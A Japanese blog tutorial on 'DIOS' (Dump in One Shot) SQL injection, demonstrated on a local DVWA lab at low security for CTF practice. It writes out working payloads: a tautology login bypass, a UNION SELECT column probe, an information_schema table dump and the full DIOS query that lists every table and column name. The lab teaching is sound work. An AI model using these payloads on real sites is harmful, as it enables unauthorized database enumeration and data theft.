MySQLでカラム:テーブル名をDIOSでするやつ

DIOSとは

Dump in One Shot one shotでinformation_schemaからカラム名とテーブル名をダンプするやつ。
SQLiが可能でUNION SELECTで連結した部分が表示した場合有効だと思われる。
ただSQLiの脆弱性があり、Login Deniedなどになる場合はBlind SQLiを疑う場合も。

DIOS the SQL Injectors Weapon (Upgraded)

経緯

UNION SELECTのSQL問題がでたときにUNION SELECT name ,2 WHERE name != 'xx' AND name name != 'xxx'とかやってるのがなんかスマートではないのでとりあえずまとめた次第。

環境

Windows Pro 64 bitですが。Docker ToolboxならWindows Homeでも使用可能です。
環境はDocker Toolbox on Virtual boxを使用します。

Docker Toolbox overview | Docker Documentation

Docker Toolboxのインストール:Windows編 - Qiita

コンテナのダウンロード、起動はDocker Kitematicを使用します。 今回はテストのためDamn Vulnerable Web Application (DVWA)を使用します。

www.dvwa.co.uk

https://hub.docker.com/r/citizenstig/dvwa

f:id:Yunolay:20190609040113p:plain

アクセスするとSetup画面がでてきます。 Create/Reset Databaseで初期セットアップをします。

f:id:Yunolay:20190609040143p:plain

Username:Passwordは以下

Username : admin
Password : password

f:id:Yunolay:20190609040238p:plain

DVWAにはセキュリティレベルがあります。 今回は検証のためにセキュリティレベルをLowにします。

f:id:Yunolay:20190609040414p:plain

実践

まずは普通にUser IDを入力してみる。

1

f:id:Yunolay:20190609182539p:plain

次にWHEREをTRUEにするBasicなSQLインジェクションを試す。

' or 1 = 1; #

f:id:Yunolay:20190609182830p:plain

主にCTFではログインするだけでフラグが表示される場合もあるが、指定されたユーザでログインしなくてはいけない場合や 別のテーブルにFLAGがある場合が多いためUNION SELECTで別テーブルを連結して表示させなくてはいけない場合が多い。

全てのアカウントが表示されているため、SQLインジェクション脆弱性があるのが確認出来る。 次にUNION SELECTで別のテーブルを連結するためのカラム数を確認する。

' UNION SELECT 0,1; #

f:id:Yunolay:20190609191631p:plain

カラム数2つでSQLが通る。

次のステップとしては次の記事のようなカラム:テーブルからユーザ名はFLAGが格納されているテーブルを探す必要がある。 information_schemaでMySQLの情報取得 | データベース | DoRuby

' UNION SELECT 0,TABLE_NAME from information_schema.TABLES# ;

f:id:Yunolay:20190609192308p:plain

テーブル名を抜いてカラム名を抜く作業がある。
がとても面倒。User ProfileにUNION SELECTで連結出来るパターンだと一行しかSELECT出来ない場合がある。
WHERE name != 'hoge' and name != 'huga'とかやれば抜けなことはないがとても面倒なのでDIOSを使用する。

基本となるDIOSがこれ

(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)
::POC::

UNION SELECTで連結出来た部分にこれを仕込む

' UNION SELECT 0,(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a); #

f:id:Yunolay:20190609192654p:plain

ついでに

hackbarとか使うと楽かも。

f:id:Yunolay:20190609193044p:plain

HackBar - Chrome Web Store

結果

楽。